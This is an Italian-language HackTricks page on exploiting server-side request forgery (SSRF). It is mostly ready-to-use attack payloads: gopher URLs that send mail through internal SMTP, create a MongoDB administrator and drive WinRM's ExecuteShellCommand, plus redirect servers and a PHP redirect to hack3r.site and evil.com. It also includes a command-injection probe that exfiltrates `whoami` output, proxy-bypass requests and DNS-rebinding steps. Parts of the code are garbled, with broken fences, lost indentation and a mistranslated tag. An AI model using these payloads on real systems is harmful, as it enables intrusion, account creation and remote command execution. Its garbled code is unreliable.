.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
Una vulnerabilità di Server-side Request Forgery (SSRF) si verifica quando un attaccante manipola un'applicazione lato server per effettuare richieste HTTP a un dominio a loro scelta. Questa vulnerabilità espone il server a richieste esterne arbitrarie dirette dall'attaccante.
Cattura di SSRF
La prima cosa da fare è catturare un'interazione SSRF generata da te. Per catturare un'interazione HTTP o DNS puoi utilizzare strumenti come:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Un Burp Collaborator che utilizza ngrok
Bypass dei Domini in Whitelist
Di solito scoprirai che l'SSRF funziona solo in certi domini in whitelist o URL. Nella pagina seguente trovi una raccolta di tecniche da provare per bypassare quella whitelist:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Bypass tramite reindirizzamento aperto
Se il server è correttamente protetto, potresti bypassare tutte le restrizioni sfruttando un reindirizzamento aperto all'interno della pagina web. Poiché la pagina web permetterà SSRF allo stesso dominio e probabilmente seguirà i reindirizzamenti, puoi sfruttare il reindirizzamento aperto per fare in modo che il server acceda a qualsiasi risorsa interna.
Leggi di più qui: https://portswigger.net/web-security/ssrf
Protocolli
- file://
- Lo schema URL
file://
è riferito, puntando direttamente a/etc/passwd
:file:///etc/passwd
- dict://
- Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Viene fornito un esempio di URL costruito che mira a una parola specifica, a un database e a un numero di voce, nonché un'istanza di uno script PHP potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP maligno:
url=sftp://generic.com:11111/
- TFTP://
- Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Viene fatta una richiesta TFTP a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Questo segmento copre il Lightweight Directory Access Protocol, sottolineando il suo utilizzo per gestire e accedere a servizi di informazioni di directory distribuite su reti IP. Interagisci con un server LDAP in localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Viene descritto un metodo per sfruttare le vulnerabilità di SSRF per interagire con i servizi SMTP in localhost, inclusi i passaggi per rivelare i nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - Bypass del WAF
- Se l'SSRF viene eseguito tramite curl, curl ha una funzionalità chiamata URL globbing che potrebbe essere utile per bypassare i WAF. Ad esempio in questo articolo puoi trovare questo esempio per una traversata del percorso tramite il protocollo
file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Viene discusso il protocollo Gopher e la sua capacità di specificare IP, porta e byte per la comunicazione con il server, insieme a strumenti come Gopherus e remote-method-guesser per la creazione di payload. Vengono illustrate due utilizzi distinti:
Gopher://
Utilizzando questo protocollo è possibile specificare l'IP, la porta e i byte che si desidera che il server invii. Quindi, è possibile sfruttare un SSRF per comunicare con qualsiasi server TCP (ma è necessario sapere come parlare con il servizio prima).
Fortunatamente, è possibile utilizzare Gopherus per creare payload per diversi servizi. Inoltre, remote-method-guesser può essere utilizzato per creare payload gopher per servizi Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Connessione inversa a 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- Crea un utente con username=admin con password=admin123 e con permesso=amministratore
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF tramite l'intestazione Referrer e Altri
I software di analisi sui server spesso registrano l'intestazione Referrer per tracciare i collegamenti in ingresso, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tali software potrebbero visitare URL esterni menzionati nell'intestazione Referrer per analizzare i contenuti del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "Collaborator Everywhere", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare possibili superfici di attacco SSRF.
SSRF tramite dati SNI dal certificato
Una errata configurazione che potrebbe consentire la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione di Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Nella questa configurazione, il valore dal campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questo setup espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata specificando semplicemente l'indirizzo IP desiderato o il nome di dominio nel campo SNI. Di seguito è riportato un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come internal.host.com
, utilizzando il comando openssl
:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Caricamento file Wget
SSRF con Iniezione di Comandi
Potrebbe valere la pena provare un payload come: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Rendering dei PDF
Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi inserire un po' di JS che verrà eseguito dal creatore di PDF stesso (il server) durante la creazione del PDF e sarai in grado di sfruttare un SSRF. Trova più informazioni qui.
Da SSRF a DoS
Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle sessioni.
Funzioni PHP SSRF
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF Reindirizzamento a Gopher
Per alcune tipologie di exploit potresti aver bisogno di inviare una risposta di reindirizzamento (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un reindirizzamento:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
Proxy mal configurati per SSRF
Trucchi da questo post.
Flask
Codice vulnerabile del proxy Flask
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask permette di utilizzare **`@`** come carattere iniziale, il che consente di rendere il **nome host iniziale il nome utente** e iniettarne uno nuovo. Richiesta di attacco:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Codice vulnerabile:
È stato scoperto che è possibile iniziare il percorso di una richiesta con il carattere ;
che consente di utilizzare quindi @
e iniettare un nuovo host per accedere. Richiesta di attacco:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Server Web Integrato PHP
Codice PHP vulnerabile
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</dettagli>
PHP permette l'uso del **carattere `*` prima di una barra nello percorso** dell'URL, tuttavia ha altre limitazioni come ad esempio che può essere utilizzato solo per il percorso radice `/` e che i punti `.` non sono permessi prima della prima barra, quindi è necessario utilizzare un indirizzo IP codificato senza punti per esempio:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Bypass CORS/SOP con DNS Rebidding
Se stai avendo problemi nell'esfiltrare contenuti da un IP locale a causa di CORS/SOP, il DNS Rebidding può essere utilizzato per aggirare tale limitazione:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
DNS Rebidding automatizzato
Singularity of Origin
è uno strumento per eseguire attacchi di DNS rebinding. Include i componenti necessari per rilegare l'indirizzo IP del server di attacco al nome DNS della macchina bersaglio e per servire payload di attacco per sfruttare software vulnerabili sulla macchina bersaglio.
Controlla anche il server in esecuzione pubblicamente su http://rebind.it/singularity.html
DNS Rebidding + ID Sessione TLS/Session Ticket
Requisiti:
- SSRF
- Sessioni TLS in uscita
- Cose su porte locali
Attacco:
- Chiedi all'utente/bot di accedere a un dominio controllato dall'attaccante
- Il TTL del DNS è di 0 secondi (così la vittima controllerà presto di nuovo l'IP del dominio)
- Viene creata una connessione TLS tra la vittima e il dominio dell'attaccante. L'attaccante introduce il payload all'interno dell'ID Sessione o del Ticket di Sessione.
- Il dominio avvierà un loop infinito di reindirizzamenti contro se stesso. L'obiettivo è fare in modo che l'utente/bot acceda al dominio fino a quando non effettua nuovamente una richiesta DNS del dominio.
- Nella richiesta DNS viene fornito un indirizzo IP privato ora (ad esempio 127.0.0.1)
- L'utente/bot cercherà di ripristinare la connessione TLS e per farlo invierà l'ID Sessione/Ticket ID (dove era contenuto il payload dell'attaccante). Quindi congratulazioni, sei riuscito a far sì che l'utente/bot si attacchi da solo.
Durante questo attacco, se si desidera attaccare localhost:11211 (memcache) è necessario fare in modo che la vittima stabilisca la connessione iniziale con www.attaccante.com:11211 (la porta deve essere sempre la stessa).
Per eseguire questo attacco puoi utilizzare lo strumento: https://github.com/jmdx/TLS-poison/
Per ulteriori informazioni, dai un'occhiata al talk in cui viene spiegato questo attacco: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
SSRF Cieco
La differenza tra un SSRF cieco e uno non cieco è che nel cieco non è possibile vedere la risposta della richiesta SSRF. Quindi, è più difficile da sfruttare perché sarà possibile sfruttare solo vulnerabilità ben note.
SSRF basato sul tempo
Controllando il tempo delle risposte dal server potrebbe essere possibile sapere se una risorsa esiste o meno (forse ci vuole più tempo per accedere a una risorsa esistente rispetto a una che non esiste)
Sfruttamento SSRF nel Cloud
Se trovi una vulnerabilità SSRF in una macchina in esecuzione all'interno di un ambiente cloud potresti essere in grado di ottenere informazioni interessanti sull'ambiente cloud e persino credenziali:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
Piattaforme Vulnerabili a SSRF
Diverse piattaforme conosciute contengono o hanno contenuto vulnerabilità SSRF, controllale in:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Strumenti
SSRFMap
Strumento per rilevare e sfruttare vulnerabilità SSRF
Gopherus
Questo strumento genera payload Gopher per:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser è uno scanner di vulnerabilità Java RMI che supporta operazioni di attacco per la maggior parte delle vulnerabilità comuni di Java RMI. La maggior parte delle operazioni disponibili supporta l'opzione --ssrf
, per generare un payload SSRF per l'operazione richiesta. Insieme all'opzione --gopher
, è possibile generare direttamente payload gopher pronti all'uso.
SSRF Proxy
SSRF Proxy è un server proxy HTTP multi-threaded progettato per instradare il traffico HTTP del client attraverso server HTTP vulnerabili a Server-Side Request Forgery (SSRF).
Per praticare
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Riferimenti
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusivi NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.
Usa Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}